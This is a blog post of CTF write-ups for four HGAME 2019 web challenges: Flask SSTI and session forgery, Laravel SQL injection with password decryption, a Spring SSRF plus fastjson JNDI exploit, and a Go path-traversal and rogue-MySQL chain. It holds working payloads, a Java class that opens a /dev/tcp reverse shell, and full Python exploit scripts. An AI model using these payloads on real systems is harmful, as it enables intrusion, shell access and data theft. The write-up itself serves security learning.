Xi4or0uji's blog

2019 hgame week4

字数统计: 1.9k阅读时长: 9 min
2019/03/11 Share

happy python

这题就是很普遍的session伪造,首先在url后面加49发现确实可以执行,但是测试一下发现过滤了括号,所以想直接ssti是很难的了
解密一下session

猜测是不是将user_id改成1就能以admin的身份登进去,现在就要想办法拿到secret_key
尝试了一下,发现url_for还在,就用url_for去拿secret_key,payload如下

1
url_for.__globals__['current_app'].config

然后得到回显

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:asdkjhiou12312451r2@127.0.0.1:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>

拿到secret_key

1
'SECRET_KEY': '9RxdzNwq7!nOoK3*'

接着就是伪造
然后就能拿到session了

1
.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k9g-fsAkgo_Vg.D2qpTQ.OJF7PpG3QqUlvvBoSs3wQ1wL2eM

登录进去以后getflaghgame{Qu_bu_la1_m1ng_z1_14}

happy php

源码放去了githubhttps://github.com/Lou00/laravel,在源码中看到
app/Http/Controllers/SessionsController.php可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function store(Request $request)
{
$credentials = $this->validate($request, [
'email' => 'required|email|max:100',
'password' => 'required'
]);

if (Auth::attempt($credentials)) {
if (Auth::user()->id ===1){
session()->flash('info','flag :******');
return redirect()->route('users.show');
}
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
} else {
session()->flash('danger', 'sorry,login failed');
return redirect()->back()->withInput();
}
}

可以看到这里有个name的注入点,来个账号测试一下amdin' or '1'='1,发现确实可以以admin的身份登录进去

1
2
3
4
admin' union select password From `users` WHERE `id`='1' LIMIE 0,1;#'
读到密码eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
admin' union select email FROM `users` WHERE `id`='1' LIMIT 0,1;#'
读到邮箱admin@hgame.com

base64解码一下密码是

1
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

在github的commit看到这段

1
2
3
4
5
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=
APP_DEBUG=true
APP_URL=http://localhost

接下来就是要想办法解密密码,我们有的信息

1
2
3
$hey = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
$iv = 'rnVrqfCvfJgnvSTi9z7KLw=='
$value = 'EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='

然后是jio本

1
2
3
4
5
6
7
8
9
10
import base64
from Crypto.Cipher import AES

def dec(c):
c = base64.b64decode(c)
iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')
key = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC,iv)
return key.decrypt(c)

print dec('EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')

然后就获得密码9pqfPIer0Ir9UUfR,接着登录进去就行

happy java

题目一开始提示说flag在hgame_flag目录下

直接访问发现是404,尝试扫一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -p0-65535 119.28.26.122
#结果
PORT STATE SERVICE
22/tcp open ssh
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
901/tcp filtered samba-swat
1025/tcp filtered NFS-or-IIS
3128/tcp filtered squid-http
4444/tcp filtered krb524
6129/tcp filtered unknown
6667/tcp filtered irc
9876/tcp open sd
31337/tcp open Elite

可以看到,还有一个9876端口开放,扫后台扫到一个mappings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"/webjars/**":{
"bean":"resourceHandlerMapping"
},
"/**":{
"bean":"resourceHandlerMapping"
},
"/**/favicon.ico":{
"bean":"faviconHandlerMapping"
},
"{[/index],methods=[GET]}":{
"bean":"requestMappingHandlerMapping",
"method":"public java.lang.String me.lightless.happyjava.controller.MainController.Index()"
},
"{[/you_will_never_find_this_interface],methods=[GET]}":{
"bean":"requestMappingHandlerMapping",
"method":"public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
},
"{[/secret_flag_here],methods=[GET]}":{
"bean":"requestMappingHandlerMapping",
"method":"public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
},
"{[/error],methods=[GET]}":{
"bean":"requestMappingHandlerMapping",
"method":"public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"
},
"{[/error],produces=[text/html]}":{
"bean":"requestMappingHandlerMapping",
"method":"public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"
},
"{[/error]}":{
"bean":"requestMappingHandlerMapping",
"method":"public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"}
}

访问secret_flag_here可以看到返回一个只允许本地访问的页面

试了一堆改ip操作都不行,看到还有一个you_will_never_find_this_interface,访问一下

看到有url,可以确定是要ssrf了,尝试一下url参数加个127.0.0.1,发现会返回eval,这里需要用dns-rebinding去绕过

然后发包去intruder查看结果

发现确实可以绕过他的检测,接下来就是fastjson的反序列化的利用了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try{
java.lang.Runtime.getRuntime().exec(
new String[]{"bash","-c","bash -c \"sh >& /dev/tcp/vps_ip/port 0>&1\""});
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

在vps上下载安装好marshalsec提供好ldap服务,mvn clean package -DskipTests编译好,也把Exploit.java编译好,在控制台敲出

1
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your_ip:port/#Exploit

在一个端口起好http服务用来下载Exploit.java,然后发送下面的payload(要二次urlencode)

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_ip:1389/Exploit","autoCommit":true}

然后就能get到shell了

happy go

简单试下网站,有登录注册上传头像和留言板这些功能,同时也泄露了源码
看源码可以看见
admincontroller可以看到有一个删除头像的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
func (u *UserDelController) Get() {
uid := u.GetSession("uid")
if uid == nil {
u.Abort("500")
}

if uid.(int) != 1 {
u.Redirect("/", http.StatusFound)
return
}

id := u.Ctx.Input.Param(":id")
i, _ := strconv.Atoi(id)
if i == 1 {
u.Redirect("/admin", http.StatusFound)
return
}

o := orm.NewOrm()
user := models.Users{Id:i}
err := o.Read(&user)
if err != nil {
u.Abort("500")
}

if user.Avatar != "/static/img/avatar.jpg" {
os.Remove(user.Avatar)
}

o.QueryTable("messages").Filter("uid", id).Delete()
o.Delete(&user)

u.Redirect("/admin", http.StatusFound)
}

这里可以看到如果修改头像参数,就可以删除任意文件
继续审计源码还可以看到

1
2
3
4
5
6
7
8
9
func (c *InstallController) Get() {
_, err := os.Stat("conf/app.conf")
if err != nil && os.IsNotExist(err) {
c.TplName = "install.tpl"
} else {
c.Redirect("/", http.StatusFound)
return
}
}

可以看到install文件里面会检查有没有app.conf文件,如果没有就会重新加载
所以攻击思路就是以管理员身份登录,删掉app.conf,然后install,用恶意的mysql服务器读取任意文件,而伪造管理员身份就要去看主函数了

1
2
3
4
5
6
7
func main() {
beego.BConfig.WebConfig.Session.SessionName = "PHPSESSID"
beego.BConfig.WebConfig.Session.SessionProvider="file"
beego.BConfig.WebConfig.Session.SessionProviderConfig = "./tmp"
beego.BConfig.WebConfig.Session.SessionOn = true
beego.Run()
}

贴一篇其他师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# coding:utf-8
import requests
import base64

ip="94.191.10.201"
host="http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL = host + "/auth/login"
userinfoURL = host + "/userinfo"
req = requests.session()

# register
registerData={"username":"ii5am3","password":"123456","confirmpass":"123456",}
r = req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={"username":"ii5am3","password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

# 获取当前登陆用户的sessionID
sessionID = r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)

# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家
attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
sessionFiles={"uploadname" : (filename, attackSession)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newCookie is: PHPSESSID="+ newSession)

##服务端伪造脚本
# coding:utf-8
import requests
import base64
# req表示user1,此时全程用该一个session
req = requests.session()
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"
attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

# register
registerData={"username":"ii5am3","password":"123456","confirmpass":"123456",}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={"username":"ii5am3","password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
sessionFiles={"uploadname" : (filename, attackCookie)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newSessionID is "+ newSession)

# 修改头像文件链接。
sessionFiles={"uploadname" : ("../../conf/app.conf", "12345")}
r = req.post(userinfoURL,files=sessionFiles)

# 新建一个请求,伪造admin进行删除用户
headers={"Cookie":"PHPSESSID="+newSession}
r = requests.get(deleteUserURL,headers=headers)

# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
"host":"your_ip",
"port":"your_port",
"username":"hgame","password":"hgame","database":"hgame"}
r = requests.post(installURl,installData)

# 再次登录,使其再来一次请求。
loginData={"username":"ii5am3","password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

CATALOG
  1. 1. happy python
  2. 2. happy php
  3. 3. happy java
  4. 4. happy go